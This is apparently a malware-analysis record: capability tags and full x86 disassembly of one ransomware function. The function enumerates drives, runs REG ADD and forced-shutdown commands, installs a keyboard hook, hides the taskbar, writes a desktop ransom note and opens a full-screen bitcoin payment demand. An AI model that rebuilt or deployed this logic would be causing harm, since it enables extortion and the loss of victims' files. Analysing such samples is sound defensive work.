Function at 0x402d70
Capabilities:
Create thread
Find taskbar
Get disk information
Get graphical window text
Get session user name
Hide graphical window
Hide the windows taskbar
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ba82
mov eax, dword fs:[0]
push eax
sub esp, 0x844
mov eax, dword [0x44c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0x4350d8
push 0
mov dword [ebp - 0x74c], eax
call fcn.00417e25
add esp, 8
call fcn.00406d00
cmp dword [0x44e730], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
je 0x403128
mov ecx, 2
call fcn.00407c80
xor ecx, ecx
call fcn.004044d0
cmp eax, 2
jne 0x403132
lea ecx, [eax - 1]
call fcn.00407c80
mov edx, 1
call fcn.004091e0
push 0x3e8
lea eax, [ebp - 0x740]
push 0
push eax
call fcn.004148f0
add esp, 0xc
mov dword [ebp - 0x73e], 0x3a
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 0x1a
mov edx, edi
mov ecx, esi
shr edx, cl
and edx, 1
je 0x402e80
sub esp, 0x18
lea eax, [esi + 0x41]
mov ecx, esp
mov word [ebp - 0x740], ax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 8
jb 0x402e59
mov eax, dword [ecx]
jmp 0x402e5b
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
push edx
push 0x44e6c8
mov word [eax], dx
call fcn.0040c660
mov edx, 1
lea ecx, [ebp - 0x740]
call fcn.00404670
add esp, 0x18
dec esi
test esi, esi
jg 0x402e27
mov ecx, 0x19
lea edi, [ebp - 0x160]
mov esi, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion___v__crypted___t_REG_SZ__d_1__f
lea eax, [ebp - 0xf9]
rep movsd dword es:[edi], dword [esi]
push 0x6b
push 0
push eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.004148f0
add esp, 0xc
mov dword [ebp - 0x744], 0
push str.kernel32
call ebx
mov ecx, dword [0x447844]
movq xmm0, qword [str.IsWow64Process]
mov dword [ebp - 0x18], ecx
mov cx, word [0x447848]
mov word [ebp - 0x14], cx
mov cl, byte [0x44784a]
mov byte [ebp - 0x12], cl
lea ecx, [ebp - 0x20]
push ecx
push eax
movq qword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402f09
lea eax, [ebp - 0x744]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 0x744], 0
je 0x402f4b
lea ecx, [ebp - 0x160]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402f20
mov eax, dword [str.__reg:64__n]
mov dword [ecx], eax
mov eax, dword [0x43527c]
mov dword [ecx + 4], eax
mov ax, word [0x435280]
mov word [ecx + 8], ax
mov al, byte [0x435282]
mov byte [ecx + 0xa], al
lea eax, [ebp - 0x160]
push eax
call fcn.00418082
add esp, 4
mov edx, 2
call fcn.004091e0
mov eax, dword [0x435294]
movups xmm0, xmmword [str.C:users_]
push 0x1e0
mov dword [ebp - 0x348], eax
lea eax, [ebp - 0x344]
push 0
push eax
movups xmmword [ebp - 0x358], xmm0
call fcn.004148f0
add esp, 0xc
mov dword [ebp - 0x748], 0x32
lea eax, [ebp - 0x748]
push eax
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea edx, [ebp - 0x88]
mov esi, edx
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402fc0
lea edi, [ebp - 0x358]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402fd6
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x358]
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403000
mov ecx, 0xc
mov esi, str.desktopFILES_BACK.txt
rep movsd dword es:[edi], dword [esi]
push ecx
lea ecx, [ebp - 0x850]
call fcn.00409a90
push ecx
push 2
lea eax, [ebp - 0x358]
push eax
lea ecx, [ebp - 0x84c]
call fcn.0040d030
test eax, eax
lea ecx, [ebp - 0x850]
mov eax, dword [ebp - 0x850]
mov eax, dword [eax + 4]
jne 0x40305f
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40306e
or eax, 4
jmp 0x40306e
add ecx, eax
mov edx, 4
xor eax, eax
cmp dword [ecx + 0x38], eax
cmove eax, edx
push 0
push eax
call fcn.00402970
mov edx, str.hello_your_files_has_been_encrypted._for_decrypt_contact:_JulyCezar1001_mail.com
lea ecx, [ebp - 0x850]
call fcn.0040e7c0
lea ecx, [ebp - 0x850]
call fcn.00409710
push str.shutdown__r__t_10__f
call fcn.00418082
add esp, 4
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x850]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x850]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x854], eax
lea ecx, [ebp - 0x84c]
call fcn.0040a5e0
mov eax, dword [ebp - 0x850]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x850]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x854], eax
lea eax, [ebp - 0x7e8]
mov byte [ebp - 4], 2
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00411d62
add esp, 4
jmp 0x403132
mov edx, 1
call fcn.004091e0
cmp dword [0x44e730], 0
jne 0x403177
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
push 0
push 0
mov esi, eax
push 0x111
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
call ebx
push eax
push 0x409500
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov ebx, 0x44e3a0
lea edi, [ebx - 2]
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403180
mov ecx, 0x78
mov esi, str._n_n_n_n_n_nYou_have_only_96_hours_to_make_a_payment._If_you_do_not_send_money_within_provided_time_private_key_will_be_destroyed__nand_all_your_files_will_be_lost._nFollow_the_instructions:_n_n1._Pay_amount_of__13__bitcoin__4980_USD__to_address:
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x44e72c]
call fcn.00407ae0
cmp eax, 3
je 0x4031ee
mov edx, dword [0x44e72c]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4031b3
sub ecx, esi
sar ecx, 1
cmp ecx, 0x21
jb 0x4031ee
mov esi, edx
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4031d0
sub edx, esi
add ebx, 0xfffffffe
mov ax, word [ebx + 2]
add ebx, 2
test ax, ax
jne 0x4031e0
jmp 0x403212
mov edx, dword [0x44e6f8]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4031f6
sub edx, esi
add ebx, 0xfffffffe
mov ax, word [ebx + 2]
add ebx, 2
test ax, ax
jne 0x403206
mov ecx, edx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x737300
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov edi, dword [ebp - 0x74c]
mov esi, eax
push 0x7f00
push 0
mov dword [ebp - 0x780], 0x30
mov dword [ebp - 0x77c], 0x20b
mov dword [ebp - 0x778], 0x403470
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x770], 0
mov dword [ebp - 0x76c], edi
mov dword [ebp - 0x768], 0
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x764], eax
lea eax, [ebp - 0x780]
push eax
mov dword [ebp - 0x760], esi
mov dword [ebp - 0x75c], 0
mov dword [ebp - 0x758], 0x435580
mov dword [ebp - 0x754], 0
call dword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x4032c7
xor eax, eax
jmp 0x4033bb
push 0
push edi
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.System
push 0x435580
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov edi, eax
test edi, edi
je 0x4032c0
push 1
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esi, dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x80000000
push 0xfffffffffffffff0
push edi
call esi
push 8
push 0xffffffffffffffec
push edi
call esi
push 3
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, 1
mov dword [ebp - 0x750], 1
call fcn.004044d0
cmp eax, 2
jne 0x40336b
lea eax, [ebp - 0x784]
push eax
push 0
lea eax, [ebp - 0x750]
push eax
push 0x408ee0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x7a0]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x4033b5
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x7a0]
push eax
call edi
lea eax, [ebp - 0x7a0]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x7a0]
push eax
call esi
test eax, eax
jne 0x403390
mov eax, dword [ebp - 0x798]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
ret 0x10